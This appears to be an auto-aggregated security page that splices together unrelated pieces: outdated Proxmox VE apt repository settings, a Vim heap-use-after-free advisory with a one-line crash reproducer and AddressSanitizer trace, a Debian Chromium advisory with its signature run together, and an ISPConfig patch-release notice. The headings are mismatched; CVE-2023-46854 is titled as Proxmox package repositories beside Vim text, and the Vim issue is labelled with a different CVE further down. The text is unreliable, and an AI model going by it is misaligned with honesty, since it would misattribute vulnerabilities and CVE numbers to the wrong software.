bcc35c7173e0845c0d6ad6470b70f50e

**Outdated: stable Repository pve**

This repository is a leftover to ease the update to 3.1. It will not get any updates after the release of 3.1. Therefore the repository needs to be removed after the upgrade to 3.1.

File

/etc/apt/sources.list

deb http://ftp.debian.org/debian wheezy main contrib

# PVE packages provided by proxmox.com - NO UPDATES after the initial release of 3.1
# deb http://download.proxmox.com/debian wheezy pve

# security updates
deb http://security.debian.org/ wheezy/updates main contrib

**Outdated: Proxmox VE 2.x Repositories**

Proxmox VE 2.x is based on Debian 6.0 (“squeeze”) and outdated. Please upgrade to the latest version as soon as possible. In order to use the stable pve 2.x repository, check your sources.list:

File

/etc/apt/sources.list

deb http://ftp.debian.org/debian squeeze main contrib

# PVE packages provided by proxmox.com
deb http://download.proxmox.com/debian squeeze pve

# security updates
deb http://security.debian.org/ squeeze/updates main contrib

**Outdated: Proxmox VE VE 1.x Repositories**

Proxmox VE 1.x is based on Debian 5.0 (“lenny”) and very outdated. Please upgrade to latest version as soon as possible.

CVE-2023-46854: Package Repositories - Proxmox VE

Vim is an improved version of the good old UNIX editor Vi. Heap-use-after-free in memory allocated in the function `ga_grow_inner` in in the file `src/alloc.c` at line 748, which is freed in the file `src/ex_docmd.c` in the function `do_cmdline` at line 1010 and then used again in `src/cmdhist.c` at line 759. When using the `:history` command, it's possible that the provided argument overflows the accepted value. Causing an Integer Overflow and potentially later an use-after-free. This vulnerability has been patched in version 9.0.2068.


**Environment**

Distributor ID:	Debian
Description:	Debian GNU/Linux bookworm/sid

**Version**

I checked against the **master** branch at commit **5f5131d** .

**Description**

Heap-use-after-free in memory allocated in the function ga_grow_inner in in the file src/alloc.c at line 748, which is freed in the file src/ex_docmd.c in the function do_cmdline at line 1010 and then used again in src/cmdhist.c at line 759

**POC**

./bins/vim -u NONE -i NONE -n -e -s -S ./crashmin/gchar\_cursor -c :qa!

**ASAN**

\=================================================================
==27059==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000000700 at pc 0x5561472e4d7e bp 0x7ffc40ff1ad0 sp 0x7ffc40ff1ac8
READ of size 4 at 0x611000000700 thread T0
    #0 0x5561472e4d7d in ex\_history /path/vim/src/cmdhist.c:759:62
    #1 0x55614743ea18 in do\_one\_cmd /path/vim/src/ex\_docmd.c:2582:2
    #2 0x55614743ea18 in do\_cmdline /path/vim/src/ex\_docmd.c:994:17
    #3 0x55614788323a in do\_source\_ext /path/vim/src/scriptfile.c:1762:5
    #4 0x556147880fab in do\_source /path/vim/src/scriptfile.c:1908:12
    #5 0x556147880fab in cmd\_source /path/vim/src/scriptfile.c:1253:14
    #6 0x55614743ea18 in do\_one\_cmd /path/vim/src/ex\_docmd.c:2582:2
    #7 0x55614743ea18 in do\_cmdline /path/vim/src/ex\_docmd.c:994:17
    #8 0x556147c96613 in exe\_commands /path/vim/src/main.c:3173:2
    #9 0x556147c96613 in vim\_main2 /path/vim/src/main.c:790:2
    #10 0x556147c933ae in main /path/vim/src/main.c:441:12
    #11 0x7f2312dde1c9 in \_\_libc\_start\_call\_main csu/../sysdeps/nptl/libc\_start\_call\_main.h:58:16
    #12 0x7f2312dde284 in \_\_libc\_start\_main csu/../csu/libc-start.c:360:3
    #13 0x556147170760 in \_start (/path/vim/fuzzfuzzfuzz/bins/vim+0x208760) (BuildId: 0021b8b45c0d1823917b83c6743ec61faf0b7ab3)

0x611000000700 is located 128 bytes inside of 250-byte region \[0x611000000680,0x61100000077a)
freed by thread T0 here:
    #0 0x5561471f3302 in \_\_interceptor\_free (/path/vim/fuzzfuzzfuzz/bins/vim+0x28b302) (BuildId: 0021b8b45c0d1823917b83c6743ec61faf0b7ab3)
    #1 0x556147439233 in do\_cmdline /path/vim/src/ex\_docmd.c:1010:6
    #2 0x55614788323a in do\_source\_ext /path/vim/src/scriptfile.c:1762:5
    #3 0x556147880fab in do\_source /path/vim/src/scriptfile.c:1908:12
    #4 0x556147880fab in cmd\_source /path/vim/src/scriptfile.c:1253:14
    #5 0x556147c96613 in exe\_commands /path/vim/src/main.c:3173:2
    #6 0x556147c96613 in vim\_main2 /path/vim/src/main.c:790:2
    #7 0x556147c933ae in main /path/vim/src/main.c:441:12
    #8 0x7f2312dde1c9 in \_\_libc\_start\_call\_main csu/../sysdeps/nptl/libc\_start\_call\_main.h:58:16

previously allocated by thread T0 here:
    #0 0x5561471f39d6 in \_\_interceptor\_realloc (/path/vim/fuzzfuzzfuzz/bins/vim+0x28b9d6) (BuildId: 0021b8b45c0d1823917b83c6743ec61faf0b7ab3)
    #1 0x55614723054b in ga\_grow\_inner /path/vim/src/alloc.c:748:10
    #2 0x55614723054b in ga\_grow /path/vim/src/alloc.c:713:9

SUMMARY: AddressSanitizer: heap-use-after-free /path/vim/src/cmdhist.c:759:62 in ex\_history
Shadow bytes around the buggy address:
  0x0c227fff8090: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0c227fff80a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff80c0: 00 00 00 00 00 00 00 02 fa fa fa fa fa fa fa fa
  0x0c227fff80d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
\=>0x0c227fff80e0:\[fd\]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c227fff80f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff8110: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff8130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
\==27059\==ABORTING

**Impact**

When using the :history command, it's possible that the provided argument overflows the accepted value. Causing an Integer Overflow and potentially later an use-after-free. This is not a major issue as most users probably won't use intentionally large values for the :history command

**Patches**

Problem is patched in version: 9.0.2068

**Credits**

Thanks to Cole Dilorenzo for notifying the vim-security mailinglist

CVE-2023-46246: Integer Overflow in :history command

Debian Linux Security Advisory 5536-1 - An important security issue was discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5536-1                   security@debian.orghttps://www.debian.org/security/                           Andres SalomonOctober 26, 2023                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2023-5472An important security issue was discovered in Chromium, which could resultin the execution of arbitrary code, denial of service or informationdisclosure.For the oldstable distribution (bullseye), this problem has been fixedin version 118.0.5993.117-1~deb11u1.For the stable distribution (bookworm), this problem has been fixed inversion 118.0.5993.117-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEUAUk+X1YiTIjs19qZF0CR8NudjcFAmU6+wwACgkQZF0CR8NudjcbzQ//b9RRr1OyKscWjFnuIgcs6zbj3IloLMQVwYj1LNeR1eqDwFcOBhxjfSKhx4vAxveR/KyrDKf1O71CWwL+vGZREw7r8X2kanJTCBQ7kIdgRpSc/uSQcCCmcx7LUemd9k2CzWHgqSYgZGrxBB5XDoQ2WfUxqH3gu5Xm0qhLb6GnWg4ylMlpsxvepEJW4v0GulZJqBQn1gnUfoFetoUccg7qKi0ev/COlza6kcfY71Xs+vlNMrnDwuzeCcuiWEjB8Q5JcjcU3D269Mj7aa6B5AN3LeCBLK+Q7T3+pn8Ft8GYSJrlFleEvtTkGSCxW8Pjo2gzDvl9U8bswgmtcUE6M26MFJIlYINxI9SCKuPCnbmdCxY5JG/8puSGD+ioG3l3BexYT0+NexUgjjoMsnwyaPR1OeQyWr/N8Obk/vEeZ9xaJzpnKtxKstnFqcZ9eqKt1B8S68YDPuXSVI0Wyb5E6Ozqrq2J8PrmwK7LrqrI/8nD/AQLgf20gU+2jc1z5MCYymu+IGxGolBcOTaRoK4GpASZ0x93UR/sNB6jGK08FZB+XUPjM/otxDl1D3QQeFuMXndWzvwsxHdZrL1DTlk4vDhaGzW2XBcPqhbfuqRwwKt7QMqLlTKH3/iVp6SQPYY8k1SfBSs1oO7iXv9UYm8+kHGNtWs0GWpuY0qxwDIMflWb4rE==Gmlo-----END PGP SIGNATURE-----

Debian Security Advisory 5536-1

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.

This is a security patch release, it fixes a PHP Code Injection Vulnerability in the ISPConfig language file editor.  
The vulnerability requires that the attacker is correctly logged in as the ‘admin’ user (the account with superadmin privilege) in ISPConfig, so an attacker must know the administrator password or get access to an active admin account session. Not affected are logins from Clients, Resellers, or Email users and also not logins from additionally created admin users.  
Also not affected are systems where the language editor is disabled. The language editor can be disabled by setting:

admin\_allow\_langedit=no

in the file /usr/local/ispconfig/security/security\_settings.ini.  
Thank you to Egidio Romano from Karma(In)Security for reporting this issue.

You can see the full changelog here:

https://git.ispconfig.org/ispconfig/ispconfig3/-/milestones/90

**Known issues**

Please take a look at the bug tracker:

https://git.ispconfig.org/ispconfig/ispconfig3/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label\_name\[\]=Bug

You can report bugs at https://git.ispconfig.org/ispconfig/ispconfig3/-/issues

**Supported Linux Distributions**

– Debian 9 – 12 (recommended) and Debian testing  
– Ubuntu 18.04 — LTS – 22.04 LTS (recommended)  
– CentOS 7 – 8

**Download ISPConfig 3.2.11p1**

https://www.ispconfig.org/downloads/ISPConfig-3.2.11p1.tar.gz

The installation instructions for ISPConfig can be found here:

https://www.ispconfig.org/ispconfig-3/documentation/

**How can I update to the ISPConfig 3.2.11p1?**

You can update to ISPConfig 3.2.11p1 by using the ispconfig\_update.sh command.

**Manual update instructions**

In case you need to run the update manually without using ispconfig\_update.sh, use the manual download procedure below:

Run the following commands as root user on your ISPConfig server:

cd /tmp
wget https://www.ispconfig.org/downloads/ISPConfig-3.2.11p1.tar.gz
tar xvfz ISPConfig-3.2.11p1.tar.gz
cd ispconfig3\_install/install
php -q update.php

Tag

#debian